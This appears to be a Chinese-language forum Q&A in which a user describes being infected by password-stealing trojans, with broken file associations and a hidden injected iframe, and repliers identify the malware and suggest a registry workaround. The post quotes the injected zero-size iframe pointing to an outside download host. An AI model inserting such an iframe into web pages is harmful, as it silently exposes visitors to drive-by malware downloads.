救救我啊。各位兄弟，高手。

Question

Trojan.PWS.Bonque , Trojan.PWS.Wow , Trojan.PWS.qqRobber.123 , VBS.psyme.239
请教各位高手，这些病毒是什么病毒来的，我经常中，而且杀完它后，系统好像就不行了，所有文件，快捷方式 等在双击它时，就会弹出一个 ”选择打开“ 的对话框，根本打不开了。我现在上网是通过在文件夹的地址栏中输入网站地址才得以上的，IE也打不开。唉。还有一个怪现象就是：在我做网页时，所有页面和后台程序文件后都自动加一段这样的代码：”<ifRame src="http://down.136136.net/htm/" width="0" height="0" frameborder="0"></ifrAme>“搞得我的网页每次加载时，都去加载那个“http://down.136136.net/htm/”网站，只是看不到它网站的内容。
晕啊。。哪位高手能帮你解决这个问题，不尽感谢！谢谢！
谢谢！

Answer 1

http://www.baidu.com/s?wd=Trojan.PWS.Bonque&cl=3明显中了木马,安个防火墙软件吧.

Answer 2

我告诉你吧,你中的那种叫落雪木马,专门盗取传奇和WOW帐号和密码的,在C:\Windows下可以看到2个传奇图标的文件,其中一个是Winlogon.exe,在注册表[Run]中也写明了自己是木马,不GHOST的话处理相对麻烦,这个木马对常用文件的关联都做了修改,唯独对屏幕保护程序留了一手,所以可以从这入手,比如把regedit.exe改为regedit.scr然后运行.
网上有几个落雪的专杀工具,不过大部分本身也带木马,小心就是